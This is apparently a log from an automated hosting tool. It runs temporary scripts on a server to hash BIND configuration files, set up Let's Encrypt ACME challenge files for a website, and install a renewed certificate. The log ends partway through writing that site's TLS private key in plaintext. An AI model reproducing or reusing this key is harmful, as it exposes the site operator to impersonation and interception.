MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-02 15:36:43: Establishing a connection
2026-03-02 15:36:43: 

PUT: /tmp/pkp576257

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-02 15:36:44: 

runuser -l bind -s /bin/bash -c '/tmp/pkp576257; rm /tmp/pkp576257'

2026-03-02 15:36:44: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-02 15:36:52: Establishing a connection
2026-03-02 15:36:52: Establishing a connection
2026-03-02 15:36:52: 

PUT: /tmp/pkp103403

#!/bin/bash
if [ -d "/var/www/christadelphianfraternal_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-03-02 15:36:53: 

chmod 755 /tmp/pkp103403; /tmp/pkp103403; rm /tmp/pkp103403

2026-03-02 15:36:53: 


1


2026-03-02 15:36:54: Establishing a connection
2026-03-02 15:36:54: 

PUT: /tmp/pkp157254

#!/bin/bash
mkdir -p "/var/www/christadelphianfraternal_www/.well-known/acme-challenge/"
cd "/var/www/christadelphianfraternal_www/.well-known/acme-challenge/"
cat > bLNbv_NIXS9SWiva2zpk4k2psyYHK3LSx7u9afJurLI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
bLNbv_NIXS9SWiva2zpk4k2psyYHK3LSx7u9afJurLI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 bLNbv_NIXS9SWiva2zpk4k2psyYHK3LSx7u9afJurLI
cat > OWxO9jrcvrCiLlMkzQJ94Ha5g_I9D54-1tw-yzoBfkM <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
OWxO9jrcvrCiLlMkzQJ94Ha5g_I9D54-1tw-yzoBfkM.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 OWxO9jrcvrCiLlMkzQJ94Ha5g_I9D54-1tw-yzoBfkM


2026-03-02 15:36:54: 

chmod 755 /tmp/pkp157254; /tmp/pkp157254; rm /tmp/pkp157254

2026-03-02 15:36:54: 




2026-03-02 15:37:03: Establishing a connection
2026-03-02 15:37:03: 

PUT: /tmp/pkp347916

#!/bin/bash
mkdir -p "/var/www/christadelphianfraternal_www/.well-known/acme-challenge/"
cd "/var/www/christadelphianfraternal_www/.well-known/acme-challenge/"
rm bLNbv_NIXS9SWiva2zpk4k2psyYHK3LSx7u9afJurLI
rm OWxO9jrcvrCiLlMkzQJ94Ha5g_I9D54-1tw-yzoBfkM


2026-03-02 15:37:03: 

chmod 755 /tmp/pkp347916; /tmp/pkp347916; rm /tmp/pkp347916

2026-03-02 15:37:03: 




2026-03-02 15:37:03: Establishing a connection
2026-03-02 15:37:03: 

PUT: /tmp/pkp570073

#!/bin/bash
temp_file=$(mktemp)
TARGET=b4498780588346731659d115ecf1bb4c.crt

cat > $temp_file <<'endmsg'
00:82:eb:cf:3c:6a:ef:cd:74:ee:4b:d6:6a:91:b3:e5

-----BEGIN CERTIFICATE-----
MIIFLzCCBBegAwIBAgISBZ9YlDFUSAkycFGTvIHlsBmTMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMzAyMTQzODMyWhcNMjYwNTMxMTQzODMxWjAoMSYwJAYDVQQD
Ex1jaHJpc3RhZGVscGhpYW5mcmF0ZXJuYWwuaW5mbzCCASIwDQYJKoZIhvcNAQEB
BQADggEPADCCAQoCggEBAI96YGcyRwIQEFWExhTm8mpgKgNRTj1KvRxRlET5mIlI
qpMDpeevLFkUHdASOD6+P1kgQsNUqCQ1MVzFtCiJ+CdAgv+CbHol834tY/P1YwiJ
zMhEJhhRxOwN8TPX3wV+aTPoPZTmqWYEPqqsTmSRtC+N0xsPWvSDR1sYChJlPM2b
UyWO9icuoCENHcRmhw18LrQ8As2yD8ch0kbmyZJN3+eMggXwvo5zGsb7mKSQbU94
fwHqOQDCi8ZF6sl2Y/AXEbaRY4F3zUv6xUcdII9KxV8iePrcPketUsHQlIiepWEW
B53DS4NaOncxQsxnZmnBIhMRGxBIOi22t0+T8wAnqCkCAwEAAaOCAkYwggJCMA4G
A1UdDwEB/wQEAwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBQd8ouKqDIMazz/6zbmmu+A7aQd2jAfBgNVHSMEGDAWgBQAtSny
LY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTIuaS5sZW5jci5vcmcvMEsGA1UdEQREMEKCHWNocmlzdGFkZWxwaGlh
bmZyYXRlcm5hbC5pbmZvgiF3d3cuY2hyaXN0YWRlbHBoaWFuZnJhdGVybmFsLmlu
Zm8wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDov
L3IxMi5jLmxlbmNyLm9yZy8yMC5jcmwwggEEBgorBgEEAdZ5AgQCBIH1BIHyAPAA
dgBkEcRspBLsp4kcogIuALyrTygH1B41J6vq/tUDyX3N8AAAAZyvMhtIAAAEAwBH
MEUCIAoRjaqfkM6PMQLQD137SRHizKD9xesPY4vczor8SmlkAiEAy12nkES3Q0m0
Xf4xNz3bNYq+PJKAFQWFEV5sUS3c138AdgAWgy2r8KklDw/wOqVF/8i/yCPQh0v2
BCkn+OcfMxP1+gAAAZyvMht0AAAEAwBHMEUCICre2ZzNkKf3HRHmBWHN9tPHsn9S
dI1EjNsLQjbLIIm7AiEA8NznNbqcT4cnkBDM7Q4zFSDQAgQrJKS6qtfR5K4AOEww
DQYJKoZIhvcNAQELBQADggEBAE8QfjuClSjomuI8dJvQDPw+oQ8EY/U913QspUTE
4P5Qg8tTLh9J9Q4hXWRIsUyqRJMBVxOsrNqDuYrNhdI4vDXolWUPehDiKeNH3Ab/
cy/izGAgzKzmrt0KKnJzURoJId2Orl/QxqAMZN4Ie4n5ycN2ex4hq87qU4criR+D
WBrMT1SIADLT/dUQXTSMsGZ5qkc4qyFVBkh+kkP2SSe34B7hHbqfXAqRmVq+SZtz
bYXaj4wKvyBTo0278iIOfjuMOKE+1I9SWJgNRkzLlx+xnpbm9wNEqQjhtvRgnUsE
0PpIvHEBNX7xIpyn4Juq/XLACT/LU35AsQ9LYIMK83XEeZM=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCPemBnMkcCEBBV
hMYU5vJqYCoDUU49Sr0cUZRE+ZiJSKqTA6XnryxZFB3QEjg+vj9ZIELDVKgkNTFc
xbQoifgnQIL/gmx6JfN+LWPz9WMIiczIRCYYUcTsDfEz198Ffmkz6D2U5qlmBD6q
rE5kkbQvjdMbD1r0g0dbGAoSZTzNm1MljvYnLqAhDR3EZocNfC60PALNsg/HIdJG
5smSTd/njIIF8L6OcxrG+5ikkG1PeH8B6jkAwovGRerJdmPwFxG2kWOBd81L+sVH
HSCPSsVfInj63D5HrVLB0JSInqVhFgedw0uDWjp3MULMZ2ZpwSITERsQSDottrdP
k/MAJ6gpAgMBAAECggEAA8UxUP+TD8dQnpFZdoV7xkwrnnWzACJS0N0wmmq9VZI0
